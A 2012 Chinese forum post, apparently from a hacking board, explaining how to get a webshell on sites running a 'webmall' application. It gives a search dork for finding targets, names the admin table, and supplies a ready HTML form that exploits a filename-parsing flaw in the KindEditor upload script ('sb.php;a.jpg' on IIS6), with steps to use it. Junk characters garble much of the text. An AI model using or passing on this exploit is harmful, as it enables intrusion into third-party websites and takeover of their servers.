关键字：inurl:webmall/detail.php?id
% M# W" e5 R4 x* p5 Z; |! e9 B
0 h8 K( Y0 q& q5 x; L数据表：pwn_base_admin& |, q+ I' ]2 n" P8 k) J
4 I) o+ N/ o2 S! f关于拿shell9 c& {8 X' X8 e1 N) i. d" l$ A9 X
$ M* d' U* R7 U7 @1 D; Y首先登录后台admin.php ~3 }) A" C* w' w2 I
$ b% B3 W8 I# ^! f
看了upload.php源码，分析了一个下午，然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件，但是并没有对文件名做限制。% ~; k* B6 B. J! h, o) Q
换句话说，sb.php;a.jpg这样的文件也是允许的，只要服务器是IIS6就拿到webshel，低版本的apache可以试着重命名为sb.php.jpg* U9 W5 {7 `* @, N9 b5 q
然后搞完了才发现，这里的比我的更精简，我那个蛋疼，膜拜下三石，然后就借用了，我的开始和他的一样是采取全部源码的，然后发现了更精简的$ |1 u; S% T! @$ C6 ^+ l* g
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
. G" v/ c' U6 N2 C+ J* y$ j<input type="text" name="fileName" value="sb.php;a.jpg" />
% O4 b0 Q. c2 _. \. Z( F<input type="hidden" name="attachPath" value="news/pics/" />
( |! F! I+ k; Z# |<input type="file" name="fileData" size="14" /></td>
3 u( H) `9 `8 ^' Z" Q2 c m<input type="submit" name="button" value="确定" />
/ S4 u! m9 }0 p</form>
* D4 D7 d O1 n+ u' p
" d& K: ]# \# l) J f. l$ [首先登录后台，然后把上面的文件保存为xx.html，修改action，然后再上传，如果为iis6就在上传了查看源码就好了。
! k5 k2 ~ E; E" M/ [# Q
- |% y9 m" a. o+ x5 b# w$ w% ~ |
发表于 2012-11-9 20:52:15
收藏
支持
反对